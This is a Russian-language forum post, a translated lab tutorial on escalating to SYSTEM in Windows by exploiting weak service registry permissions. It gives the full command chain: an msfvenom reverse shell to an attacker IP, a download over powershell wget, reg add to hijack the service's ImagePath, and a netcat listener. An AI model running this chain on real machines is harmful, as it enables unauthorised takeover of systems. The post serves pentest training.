• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Повышение привилегий Windows: слабые права реестра

yashechka

Генератор контента.Фанат Ильфака и Рикардо Нарвахи
Эксперт
Регистрация
24.11.2012
Сообщения
2 344
Реакции
3 563
Microsoft Windows предлагает широкий спектр детализированных разрешений и привилегий для управления доступом к компонентам Windows, включая службы, файлы и записи реестра. Экслпуатация слабых прав реестра - это один из способов повышения привилегий.

1641240802629.png


Введение

Реестр Windows

Реестр - это системная база данных, в которой приложения и системные компоненты хранят и извлекают данные конфигурации. Реестр - это иерархическая база данных, содержащая данные, критически важные для работы Windows, а также приложений и служб, работающих в Windows.

1

Вы можете использовать редактор реестра для выполнения следующих действий:

- Найти поддерево, ключ, подключ или значение
- Добавить подраздел или значение
- Изменить значение
- Удалить подраздел или значение
- Переименовать подраздел или значение


Данные структурированы в древовидном формате. Каждый узел в дереве называется ключом. Каждый ключ может содержать как подключи, так и записи данных, называемые значениями.

Улей реестра

Улей - это логическая группа ключей, подключей и значений в реестре, которая имеет набор вспомогательных файлов, загружаемых в память при запуске операционной системы или входе пользователя в систему.

Примечание: Каждый раз, когда новый пользователь входит в систему на компьютере, для этого пользователя создается новый куст с отдельным файлом для профиля пользователя. Это называется кустом профиля пользователя. Улей пользователя содержит конкретную информацию реестра, относящуюся к настройкам приложения, рабочего стола, среды, сетевых подключений и принтеров пользователя. Кусты профиля пользователя расположены под ключом HKEY_USERS.

Большинство вспомогательных файлов для кустов находится в каталоге % SystemRoot%\System32\Config. Эти файлы обновляются каждый раз, когда пользователь входит в систему.

В следующей таблице перечислены стандартные кусты и их вспомогательные файлы.
1641240837396.png


Слабые права реестра

Перехватывая записи реестра, используемые службами, злоумышленники могут запускать свои вредоносные полезные нагрузки. Злоумышленники могут использовать слабые места в разрешениях реестра, чтобы переключиться с изначально заявленного исполняемого файла на тот, который они контролируют при запуске службы, что позволяет им выполнять свои неавторизованные вредоносные программы.

Mitre ID : T1574.011

Тактика: повышение привилегий и персистентность

Платформы: Windows

Требования

Целевая машина: Windows 10

Атакующий: Kali Linux

Инструменты: SubinACL (https://windows-resource-kit-tools-subinacl-exe.software.informer.com/download/) , PowerUP.ps1 (https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1), Winpeas (https://github.com/carlospolop/PEASS-ng/tree/master/winPEAS)

Условие: скомпрометируйте целевую машину с помощью доступа с низким уровнем привилегий с помощью Metasploit или Netcat и т.д.

Цель: повысить привилегии до NT Authority/SYSTEM для пользователя с низкими привилегиями, используя слабый ключ реестра.

Лабораторный стенд

Шаг 1. Запустите CMD от имени администратора и выполните приведенную ниже команду, чтобы создать службу с именем Pentest в каталоге /temp.

sc.exe create pentest binPath= "C:\temp\service.exe"

Шаг 2: Чтобы создать уязвимую службу, нам нужно назначить некоторую токсичную привилегию с помощью SubinACL, чтобы изменить разрешение служб.

Шаг 3: После загрузки SubinACL выполните следующую команду, чтобы назначить пользователю ignite разрешений PTO для службы "Pentest".

cd C:\Program Files (x86)\Windows Resource Kits\Tools
subinacl.exe /service pentest /grant=msedgewin10\ignite=PTO

1641240877295.png


Windows хранит информацию о конфигурации локальной службы в реестре в разделе HKLM\SYSTEM\CurrentControlSet\ Services.

Шаг 4. Изучите путь реестра HKLM\SYSTEM\CurrentControlSet\Services\ pentest и измените разрешение для него.

1641240887257.png


Шаг 5: Разрешите ПОЛНЫЙ доступ пользователю.

1641240900791.png


Абузинг слабыми службами реестра

Получение уязвимых ключей реестра с помощью Accesschk.exe

Злоумышленник может повысить привилегии, эксплуатирую права слабого реестра, если у текущего пользователя есть разрешение на изменение ключей реестра, связанных со службой.

Следуя исходной точке опоры, мы можем запросить разрешения для ключей реестра служб с помощью инструмента Accesschk.exe от Sysinternals.

nc –lvp 1245
accesschk.exe /accepteula "authenticated users" -kvuqsw hklm\System\CurrentControlSet\services


В результате мы обнаружили, что доступ назначен аутентифицированному пользователю для раздела реестра "Pentest" с правами ALL.

1641240937392.png


С помощью следующей команды мы запрашиваем путь к образу для службы.

reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\pentest

1641240952908.png


Получение уязвимых ключей реестра с помощью Powershell

С помощью PowerShell вы проверяете список управления доступом (ACL), чтобы получить права пользователя, полный контроль над ключом реестра службы.

Get-Acl -Path HKLM:\SYSTEM\CurrentControlSet\Services\pentest | fl

1641240974712.png


Получение уязвимых ключей реестра с помощью WinPEASx64

Даже, используя автоматический скрипт WinPEASx64, мы получаем слабую службу реестра, что является еще одним методом пост-разведки для слабой конфигурации.

1641240983922.png


Создание вредоносного исполняемого файла

Если разрешения для пользователей и групп не установлены должным образом и не разрешают доступ к ключам реестра для службы, то злоумышленники могут изменить путь binPath/ImagePath службы так, чтобы он указывал на другой исполняемый файл, находящийся под их контролем.

Создайте исполняемую оболочку и установите ее на машину жертвы, затем измените ключ реестра службы на исполняемый файл, поскольку аутентифицированный пользователь имеет полный доступ к службе и, следовательно, имеет возможность изменить путь к образу для службы.

msfvenom –p window/shell_reverse_tcp lhost=192.168.1.3 lport=8888 –f exe > shell.exe
python –m SimpleHTTPServer 80

1641241000393.png


cd c:\Users\public
powershell wget http://192.168.1.3/shell.exe -o shell.exe
dir
reg add "HKLM\system\currentcontrolset\services\pentest" /t REG_EXPAND_SZ /v ImagePath /d "C:\Users\Public\shell.exe" /f

1641241018369.png


net start pentest


Когда служба запускается или перезапускается, то программа, управляемая злоумышленником, будет выполняться, позволяя противнику получить персистенс и/или повышение привилегий до контекста учетной записи, в которой служба настроена для выполнения (локальная/доменная учетная запись, SYSTEM, LocalService или NetworkService).

Таким образом, как только служба запустится, злоумышленник получит реверс соединение в новом сеансе netcat как с правами NT Authority\SYSTEM

Переведено специально для xss.pro
Автор перевода: yashechka
Источник: https://www.hackingarticles.in/windows-privilege-escalation-weak-registry-permission/
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх